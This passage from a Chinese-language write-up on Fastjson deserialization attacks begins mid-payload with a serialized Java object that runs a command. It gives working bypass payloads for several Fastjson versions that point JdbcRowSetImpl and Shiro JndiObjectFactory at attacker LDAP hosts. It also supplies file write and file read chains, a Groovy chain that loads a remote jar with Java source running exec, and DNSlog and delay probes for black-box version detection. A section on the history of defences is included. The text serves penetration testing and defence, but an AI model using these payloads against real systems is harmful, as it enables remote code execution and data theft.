672E436C6173733BAB16D7AECBCD5A99020000787000000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001A7371007E00117571007E0016000000027070740006696E766F6B657571007E001A00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00167371007E00117571007E00160000000174000463616C63740004657865637571007E001A0000000171007E001D737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C7708000000100000000174000576616C75657400047979797978787672001B6A6176612E6C616E672E616E6E6F746174696F6E2E54617267657400000000000000000000007870;"
    }
    }
  • 总结

    • 利用默认的MiscCodec反序列化器去反序列化加载java.lang.Class,然后通过设置val值,将我们要执行的恶意类提前通过TypeUtils.loadClass方法提前加载到mappings中,这样当我们再次去反序列化调用com.sun.rowset.JdbcRowSetImpl,并在checkAutoType方法中进行检测时,会在mapping中去查找,由于我们的提前注入,就会绕过黑白名单检测直接返回我们想要执行的恶意类。
    • 由于该利用是在黑白名单和autoType检测之前就已经返回了,因此不需要目标服务器手动开启autoType支持,并且在1.2.25-1.2.47版本之间的其他绕过例如L;、LL;;、[,绕过黑名单都需要autoType手动开启后才能利用,否则无法利用。

3.2. 1.2.41 L<类名>; 绕过

  • 在1.2.41版本中在未开启autoType支持时,仅支持利用白名单过滤,白名单优先,因此无法争对黑名单进行绕过。
  • 因此在1.2.25-1.2.47争对黑名单绕过都需要开启autoType支持。
  • 利用在TypeUtiles.loadClass方法中删除L和;的机制进行黑名单绕过。
  • com.alibaba.fastjson.util.TypeUtils.loadClass
1
2
3
4
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
  • 构造PoC为
1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://attacker.com/Exploit", "autoCommit":true}

3.3. 1.2.42 双写LL<类名>;; 绕过

  • com.alibaba.fastjson.util.TypeUtils.loadClass
1
2
3
4
// 递归去除类名中的"L"和";"
while (className.startsWith("L") && className.endsWith(";")) {
className = className.substring(1, className.length() - 1);
}
  • 构造PoC
1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"ldap://attacker.com/Exploit", "autoCommit":true}

3.4. 1.2.43 [<类名> 绕过

  • com.alibaba.fastjson.util.TypeUtils.loadClass
1
2
3
4
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
  • 构造PoC
1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}

3.5. 1.2.68 绕过

3.5.1.当未主动开启autoType支持

  • 当未主动开启autotype支持时,想要实现利用必须仅在默认配置的白名单中进行反序列利用,否则会被拦截从而无法利用。

  • 以下是一些是部分白名单,所有想要绕过autoType是比较有难度的事情,不过也并不是完全没有办法。

  • 基本类型包装类

    1
    2
    3
    4
    5
    java.lang.Boolean
    java.lang.Integer
    java.lang.Long
    java.lang.Double
    java.lang.String
  • 集合接口(仅限接口,非实现类):

    1
    2
    3
    java.util.List
    java.util.Map
    java.util.Collection
  • 日期类

    1
    2
    3
    4
    java.util.Date
    java.sql.Date
    java.sql.Time
    java.sql.Timestamp
  • JSON 结构类

    1
    2
    com.alibaba.fastjson.JSONObject
    com.alibaba.fastjson.JSONArray
  • JDK 内置序列化接口

    1
    2
    3
    java.lang.Cloneable
    java.lang.Comparable
    java.lang.Runnable

1.利用JDK11写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":
{
"@type":"java.util.zip.InflaterOutputStream",
"out":
{
"@type":"java.io.FileOutputStream",
"file":"1.txt",
"append":false
},
"infl":
{
"input":
{
"array":"eJwrLE8tAgAEaQHA",
"limit":22
}
},
"bufLen":1048576
},
"protocolVersion":1
}

2.利用commons-io写文件

  • 文件大小需要8kb以上才能正确写入,且commons-io在2.0-2.6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""qaxnbaaaaaaaaaaaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"1.txt",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}

3.利用commons-io读文件

  • 需要用到dnslog
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
{
"abc":{"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///D://"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [37]
}
]
},
"address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0},
"xxx": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://127.0.0.1:5667/"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]
},
"zzz":{"$ref":"$.xxx.BOM[0]"}
}

3.5.2.主动开启autoType支持

1.ShiroJNDI远程对象调用

  • Shiro链

​ 当系统开启autotype支持的时候,我们可以通过绕过黑名单的方式来实现JNDI注入。

​ 但是需要目标系统具有shiro依赖,且shiro-core版本小于等于1.6。

1
2
3
4
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://攻击者IP/Exploit"
}

3.6. 1.2.76 - 1.2.80绕过

3.6.1. groovy链

  • 该链主要是通过groovy的依赖实现加载远程jar包。(无需主动开启autoType即可利用)

    需要发送两个请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}


{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1/attack-1.jar"
}
}
  • 远程jar包如何编写?

    参考https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7的attack写法

    • GrabAnnotationTransformation2.java
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    package groovy.grape;

    import org.codehaus.groovy.ast.ASTNode;
    import org.codehaus.groovy.control.CompilePhase;
    import org.codehaus.groovy.control.SourceUnit;
    import org.codehaus.groovy.transform.ASTTransformation;
    import org.codehaus.groovy.transform.GroovyASTTransformation;

    import java.io.IOException;

    @GroovyASTTransformation(phase= CompilePhase.CONVERSION)
    public class GrabAnnotationTransformation2 implements ASTTransformation {

    public GrabAnnotationTransformation2() {
    try {
    Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
    }
    }

    @Override
    public void visit(ASTNode[] nodes, SourceUnit source) {

    }
    }

    • org.codehaus.groovy.transform.ASTTransformation
    1
    groovy.grape.GrabAnnotationTransformation2
    • pom.xml
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>groovy</groupId>
    <artifactId>attack</artifactId>
    <version>1</version>
    <dependencies>
    <dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-all</artifactId>
    <version>3.0.1</version>
    <scope>provided</scope>
    <type>pom</type>
    </dependency>
    </dependencies>

    <properties>
    <maven.compiler.source>8</maven.compiler.source>
    <maven.compiler.target>8</maven.compiler.target>
    </properties>

    </project>

3.6.2. 1.2.80的其他默认关闭autoType利用方式

  1. 利用aspectjtools、ognl、dom4j、xalan结合common-io进行文件读写。

    当然这些利用方式更偏向与白盒,黑盒的化只能用扫描器跑了,毕竟在没有源码的情况下很难完整的判断系统是否具有对应依赖,甚至是对应版本。因此黑河只能是要扫描器进行扫描。具体利用方式我就不一一去分析了,可以参考下面这个项目进行学习,ShiroAndFastjson

4. 防御阶段

4.1.防御方案演进

  • 以下是 Fastjson 防御机制的版本演变总结,涵盖 默认配置变化(autoType开关、黑/白名单)关键安全特性(Safemode) 的演进:

版本防御机制演变总览

版本范围 默认 autoType 状态 防御机制 关键特性/漏洞
≤1.2.24 开启(无限制) 无黑名单/白名单 完全无防护,可任意反序列化类(RCE 高发)
1.2.25~1.2.47 默认关闭 黑名单拦截denyList 首次引入黑名单,但存在缓存绕过漏洞(如1.2.47)
1.2.48~1.2.67 默认关闭 白名单优先 + 黑名单兜底 修复缓存漏洞,强制白名单校验
1.2.68+ 默认关闭 增强白名单 + 通配符支持 扩展默认白名单,修复历史漏洞
1.2.83+ 默认关闭 SafeMode(安全模式) 彻底禁用 @type 功能,杜绝反序列化攻击

各阶段详细说明

1. 无限制阶段(≤1.2.24)

  • 默认 autoType 状态:开启(无显式配置,等效于 autoTypeSupport=true)。
  • 防御机制:无黑名单或白名单,允许任意类通过 @type 反序列化。
  • 风险:可直接加载任意类(如 com.sun.rowset.JdbcRowSetImpl),导致 远程代码执行(RCE)

2. 黑名单阶段(1.2.25~1.2.47)

  • 默认 autoType 状态:关闭(autoTypeSupport=false)。
  • 防御机制
    • 黑名单(denyList:拦截高危类(如 ClassLoaderDataSourceJdbcRowSetImpl 等)。
    • 白名单:未明确配置,仅允许部分基础类型(如 java.util.List)。
  • 漏洞
    • 缓存绕过漏洞(1.2.47):通过 java.lang.Class 预加载恶意类至缓存,绕过黑名单。
  • 安全建议:升级至 1.2.48+,避免使用 1.2.47。

3. 白名单优先阶段(1.2.48~1.2.67)

  • 默认 autoType 状态:关闭。
  • 防御机制
    • 白名单优先校验:即使开启 autoType,也必须匹配白名单(acceptList)或手动添加信任路径。
    • 黑名单兜底:拦截已知高危类。
    • 默认白名单:少量核心类(如 java.lang.Integerjava.util.Date)。
  • 修复内容
    • 修复缓存绕过漏洞。
    • java.lang.Class 加入黑名单。
  • 限制:白名单范围较窄,需手动扩展业务相关类。

4. 增强白名单阶段(1.2.68~1.2.82)

  • 默认 autoType 状态:关闭。
  • 防御机制
    • 扩展默认白名单:包含更多 JDK 内置类(如 java.lang.Cloneable)。
    • 支持通配符:允许配置包路径(如 com.example.model.*)。
  • 安全改进
    • 修复历史漏洞(如 TemplatesImpl 链的利用限制)。
    • 优化黑名单覆盖范围。

5. SafeMode 阶段(1.2.83+)

  • 默认 autoType 状态:关闭。
  • 新增防御机制
    • SafeMode(安全模式)
      通过 ParserConfig.getGlobalInstance().setSafeMode(true) 开启后,完全禁用 @type 功能,任何包含 @type 的 JSON 字符串均抛出异常。
  • 默认白名单:进一步精简,仅保留最安全的核心类。
  • 设计目标:彻底杜绝反序列化攻击,适用于高安全场景。

关键版本对比表

版本 默认 autoType 默认黑名单 默认白名单 SafeMode 支持
1.2.24 开启
1.2.25 关闭 ✔️
1.2.47 关闭 ✔️
1.2.48 关闭 ✔️ ✔️
1.2.68 关闭 ✔️ ✔️(扩展)
1.2.83 关闭 ✔️ ✔️(精简) ✔️

总结

  • 无限制阶段(≤1.2.24):完全开放,风险最高。
  • 黑名单阶段(1.2.25~1.2.47):基础防御,存在绕过漏洞。
  • 白名单阶段(1.2.48+):逐步强化,修复历史漏洞。
  • SafeMode 阶段(1.2.83+):终极防御,彻底禁用 @type
    始终遵循 最小化信任原则,避免依赖 Fastjson 的默认配置应对高风险场景。

5.黑盒测试中的版本探测

在渗透测试或安全评估中,探测目标使用的 Fastjson 版本 是评估反序列化漏洞风险的关键步骤。以下是在黑盒环境中常用的探测方法及其原理:

1. 通过报错信息特征识别

​ 通过报错信息识别需要服务端配置报错显示,server.error.include-message=always

(1) 利用AutoCloseable和异常JSON接口

  • Payload

    1
    {"@type":"java.lang.AutoCloseable"
  • 版本特征

    • 返回版本信息。
    • 但是不一定准确,可能返回版本信息降级,例如80版本可能返回可能是76版本。

image-20250418145223825

#### (2) 利用 @type 参数触发黑名单拦截
- Payload

1
{"@type":"com.sun.rowset.JdbcRowSetImpl"}

- 版本特征

- 1.2.25~1.2.47:返回 autoType is not support,但可能暴露黑名单机制。
- **1.2.48+**:返回更具体的错误信息(如 autoType is not support. java.lang.AutoCloseable)。

2. 通过特性支持差异探测

(1) 测试 Feature.SupportNonPublicField 支持

  • Payload:尝试反序列化非公有字段。

    1
    {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
  • 版本特征

    • ≤1.2.24:无防护,直接加载类。
    • 1.2.25~1.2.47:触发缓存绕过漏洞(若成功加载,可能返回 JNDI 连接错误)。
    • **1.2.48+**:返回 autoType is not support

(2) 测试 autoTypeSupport 默认状态

  • Payload:尝试加载非白名单类。

    1
    {"@type":"java.util.Random"}
  • 版本特征

    • 1.2.25~1.2.47(autoType关闭):返回 autoType is not support
    • 1.2.48+(autoType关闭):同上,但错误信息更明确。
    • 若目标开启 autoType:可能返回类不存在或依赖错误(如 ClassNotFoundException: java.util.Random)。

image-20250418150945715

  • Payload: 利用CookiePolicy类进行autoTypeSupport
1
[{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"f59984c3.log.cdncache.rr.nu"}]
  • 返回特征:如果dnslog成功回显,表示autoTypeSupport开启。回显失败,表示关闭。

3. 利用版本独有特性

(1) 时间格式化差异

  • Payload:发送不同格式的日期字符串。

    1
    {"date":"2023-10-01T12:00:00Z"}
  • 版本特征

    • **1.2.36+**:支持 ISO 8601 日期格式(需开启 Feature.AllowISO8601DateFormat)。
    • 旧版本:可能解析失败或返回默认格式。

(2) 反序列化字节码支持(TemplatesImpl 链)

  • Payload:构造 _bytecodes 字段的恶意 JSON(需开启 Feature.SupportNonPublicField)。
  • 版本特征
    • 1.2.22~1.2.24:直接执行字节码。
    • **1.2.25+**:默认拦截 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

4. 响应头与库路径泄露

(1) 观察 HTTP 响应头

  • 特征:某些框架集成 Fastjson 后,错误响应头可能包含库信息:
    1
    X-Powered-By: Fastjson/1.2.68

(2) 触发类路径泄露

  • Payload:利用反序列化错误触发类加载器信息。

    1
    {"@type":"java.lang.ClassLoader"}
  • 响应特征

    • 1.2.25~1.2.47:返回 autoType is not support
    • **1.2.48+**:返回 ClassLoader is denied

5.出网探测

  • DNSLOG:利用dnslog进行出网探测
1
{"name":{"@type":"java.net.Inet4Address","val":"25dadd82.log.dnslog.myfw.us"}}
  • 不同版本的DNSLOG探测

    • fastjson < 1.2.48
    1
    2
    3
    4
    5
    [
    {"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"},
    {"@type":"java.io.ByteArrayOutputStream"},
    {"@type":"java.net.InetSocketAddress"{"address":,"val":"48_.{{.Variables.DNS}}"}}
    ]
    • 1.2.48 ≤ fastjson ≤ 1.2.68
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    {
    "a": {
    "@type": "java.lang.AutoCloseable",
    "@type": "com.alibaba.fastjson.JSONReader",
    "reader": {
    "@type": "jdk.nashorn.api.scripting.URLReader",
    "url": "http://68_.{{.Variables.DNS}}"
    }
    }
    }
    • 1.2.68 < fastjson ≤ 1.2.83
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    [
    {
    "@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException",
    "x":{
    "@type":"java.net.InetSocketAddress"{"address":,"val":"80_.{{.Variables.DNS}}"}
    }
    },
    {
    "@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException",
    "message":{
    "@type":"java.net.InetSocketAddress"{"address":,"val":"83_.{{.Variables.DNS}}"}
    }
    }
    ]

6.正则延迟探测

  • 在目标无法出网时,且无报错信息时我们可以利用正则表达式来进行延迟探测。
  • payload:
1
2
3
4
5
6
{
"regex": {
"$ref": "$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
},
"blue": "aaaaaaaaaaaaaaaa!"
}
  • 返回特征:
    • 当版本在1.2.36-1.2.62版本之间时,产生延时响应,否则不产生延迟响应。

7.依赖探测

  • payload:利用Character类和畸形payload进行依赖探测

  • eg:探测JndiObjectFactory依赖是否存在(可将shiro依赖更换为不同依赖类路径进行探测)

1
2
3
4
5
{
"@type":"java.lang.Character"{
"@type":"java.lang.Class",
"val":"org.apache.shiro.jndi.JndiObjectFactory"
}
  • 返回特征:

    • 具有依赖时
    1
    2
    3
    4
    5
    6
    7
    {
    "timestamp": "2025-04-18T08:30:21.258+00:00",
    "status": 500,
    "error": "Internal Server Error",
    "message": "can not cast to char, value : class org.apache.shiro.jndi.JndiObjectFactory",
    "path": "/json"
    }

8. 自动化探测工具

(1) FastjsonScan

  • 功能:批量检测 Fastjson 版本及漏洞。

  • 命令

    1
    python FastjsonScan.py -u http://target.com/api

(2) Burp Suite 插件

  • 插件推荐Fastjson-DetectorFreddy(支持被动扫描)。

版本判定对照表

探测特征 可能版本
无防护,直接执行 TemplatesImpl ≤1.2.24
缓存绕过漏洞有效(JdbcRowSetImpl) 1.2.25~1.2.47
返回 SafeMode not support ≥1.2.83
支持 Feature.SupportNonPublicField 1.2.25+(需显式开启)